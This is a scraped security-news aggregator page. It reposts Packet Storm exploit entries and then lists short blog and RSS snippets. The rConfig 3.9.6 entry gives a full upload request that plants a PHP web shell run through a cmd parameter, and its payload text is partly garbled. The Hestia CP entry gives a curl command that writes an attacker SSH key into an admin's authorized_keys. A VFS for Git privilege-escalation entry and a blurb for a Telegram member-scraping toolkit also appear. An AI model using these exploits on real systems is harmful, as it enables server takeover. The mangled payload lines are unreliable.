Exploit Collector
rConfig 3.9.6 Shell Upload

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
rConfig version 3.9.6 suffers from a remote shell upload vulnerability.

MD5 | 7068626a36bde3c6ba897ce4012fc020

Download
# Exploit Title: rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated)
# Date: 2021-03-17
# Exploit Author: Murat ŞEKER
# Vendor Homepage: https://www.rconfig.com
# Software Link: https://www.rconfig.com/downloads/rconfig-3.9.6.zip
# Version: rConfig v3.9.6
# Install scripts :
# https://www.rconfig.com/downloads/scripts/install_rConfig.sh
# https://www.rconfig.com/downloads/scripts/centos7_install.sh
# https://www.rconfig.com/downloads/scripts/centos6_install.sh
# Tested on: centOS 7
# Notes : If you want to reproduce in your lab environment follow those links :
# http://help.rconfig.com/gettingstarted/installation
# then
# http://help.rconfig.com/gettingstarted/postinstall

# Description:
rConfig, the open source network device configuration management tool, is vulnerable to Arbitrary File Upload to RCE in /lib/crud/vendors.crud.php with parameter 'vendorLogo'.

The following steps can be carried out in duplicating this vulnerability.

- Login the rConfig application with your credentials.
- Repeat

POST /lib/crud/vendors.crud.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 root@5y4o1s35jvx342apl7392qrqxh3m7aw.burpcollaborator.net
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------122590832918963661283831488254
Content-Length: 36619
Origin: https://localhost
Connection: close
Referer: http://4hmnkrm42ug2n1to46m8lpapggmlp9e.burpcollaborator.net/ref
Cookie: PHPSESSID=eafcfe393af7dc2a3dd9bd1ea0e9e49b
Upgrade-Insecure-Requests: 1
Cache-Control: no-transform

-----------------------------122590832918963661283831488254
Content-Disposition: form-data; name="vendorName"

thisisrce
-----------------------------122590832918963661283831488254
Content-Disposition: form-data; name="vendorLogo"; filename="file.php"
Content-Type: image/png

<?php
-----------------------------122590832918963661283831488254
Content-Disposition: form-data; name="add"

add
-----------------------------122590832918963661283831488254
Content-Disposition: form-data; name="editid"
-----------------------------122590832918963661283831488254--
- Than go to http(s)://<server/images/vendor/file.php

Note: The file.php can be accessed without valid credentials.
If you change the <?phpto <?php

and navigate the http(s)://<server/images/vendor/file.php?cmd=id

The `id` command will execute on server.

Source:packetstormsecurity.com

Exploit Collector
VFS For Git 1.0.21014.1 Unquoted Service Path

https://3.bp.blogspot.com/-00fiGlDHfKo/WWlvZ5odqlI/AAAAAAAAIO4/nnZp17OtkHAWqiO0pbFBQSys2U4_yu8pACLcBGAs/s1600/h7.png
VFS for Git version 1.0.21014.1 suffers from an unquoted service path vulnerability.

MD5 | c1667b9a770dd327095d48bde84eef83

Download
# Exploit Title: VFS for Git 1.0.21014.1 - 'GVFS.Service' Unquoted Service Path
# Date: 2021-2-6
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: https://vfsforgit.org/
# Software Link: https://github.com/microsoft/VFSForGit/releases/download/v1.0.21014.1/SetupGVFS.1.0.21014.1.exe
# Version: 1.0.21014.1
# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763
# Service info:
C:\Users\m507>sc qc GVFS.Service
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: GVFS.Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\GVFS\GVFS.Service.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : GVFS.Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\m507>
# Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.


Source:packetstormsecurity.com

Exploit Collector
Hestia Control Panel 1.3.2 Arbitrary File Write

https://3.bp.blogspot.com/-YTa6qox_ltk/WWlvNeWMUbI/AAAAAAAAIMc/0l9a_Kr-MFozVC5jeSwhLNgVZ9cZuXXlQCLcBGAs/s1600/h22.png
Hestia Control Panel version 1.3.2 suffers from an arbitrary file write vulnerability.

MD5 | f39e0a2b0a6cff12053b8b767649af0a

Download
# Title: Hestia Control Panel 1.3.2 - Arbitrary File Write
# Date: 07.03.2021
# Author: Numan Türle
# Vendor Homepage: https://hestiacp.com/
# Software Link: https://github.com/hestiacp/hestiacp
# Version: < 1.3.3
# Tested on: HestiaCP Version 1.3.2

curl --location --request POST 'https://TARGET:8083/api/index.php' \
--form 'hash="HERE_API_KEY"' \
--form 'returncode="yes"' \
--form 'cmd="v-make-tmp-file"' \
--form 'arg1="ssh-rsa HERE_KEY"' \
--form 'arg2="/home/admin/.ssh/authorized_keys"' \
--form 'arg3=""' \
--form 'arg4=""' \
--form 'arg5=""'


Source:packetstormsecurity.com

Exploit Collector
Adobe Reader CoolType Arbitrary Stack Manipulation

https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
Adobe Reader suffers from a CoolType arbitrary stack manipulation vulnerability.

MD5 | 07bd21c6148b74a3ebd51754bc5c4290

Download
Source:packetstormsecurity.com

Bug Bounty on Medium
CVE-2021–26216

# Exploit Title: SeedDMS 5.1.x is affected by cross-site request forgery (CSRF) in out.EditFolder.php
# Date: 15/03/21
# Exploit Author…

Continue reading on Medium »

Hacker News
Reverse Engineering a Docker Image

submitted by /u/qznc_bot2
[link] [comments]

Kali Linux Tutorials
Confused : Tool To Check For Dependency Confusion Vulnerabilities

Confused is a tool for checking for lingering free namespaces for private package names referenced in dependency configuration for Python (pypi) requirements.txt, JavaScript (npm) package.json, PHP (composer) composer.json or MVN (maven) pom.xml. What is this all about? On 9th of February 2021, a security researcher Alex Birsan published an article that touched different resolve order […]

The post Confused : Tool To Check For Dependency Confusion Vulnerabilities appeared first on Kali Linux Tutorials.

Kali Linux Tutorials
Genisys : Powerful Telegram Members Scraping and Adding Toolkit

Genisys is a Powerful Telegram Members Scraping and Adding Toolkit. Features ADDS IN BULK[by user id, not by username] Scrapes and adds to public groups Works in Windows systems You can run unlimited accounts at the same time in order to add members CSV files auto-distributer based on number of accounts to use Powerful scraping […]

The post Genisys : Powerful Telegram Members Scraping and Adding Toolkit appeared first on Kali Linux Tutorials.

How I hacked Facebook: Part Two
https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19?source=rss------bug_bounty-5

Description: This is the second and final part of How I hacked Facebook you can find part one here [ How I hacked Facebook: part one ].Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19?source=rss------bug_bounty-5)

xDai STAKE Hosts $2,000,000 Bug Bounty on Immunefi
https://medium.com/immunefi/xdai-stake-hosts-2-000-000-bug-bounty-on-immunefi-3760e0687616?source=rss------bug_bounty-5

Stable payments blockchain xDai STAKE is hosting a $2,000,000 smart contract bug bounty on Immunefi for its OmniBridge project, making it…Continue reading on Immunefi » (https://medium.com/immunefi/xdai-stake-hosts-2-000-000-bug-bounty-on-immunefi-3760e0687616?source=rss------bug_bounty-5)

Hacking on Medium
A large selection of cool tools for hacker and security

https://cdn-images-1.medium.com/max/764/1*nfz7rjqU_rDMRDlcrm8G6w.jpeg
I am not calling anyone to anything, the article was written for informational purposes!

Continue reading on Medium »

Hacking on Medium
An Interesting Account Takeover!

https://cdn-images-1.medium.com/max/1024/1*9WIbqoPV50cFc9GaZZ5r-w.png
IDOR and Weak encryption leads to Account Takeover

Continue reading on Medium »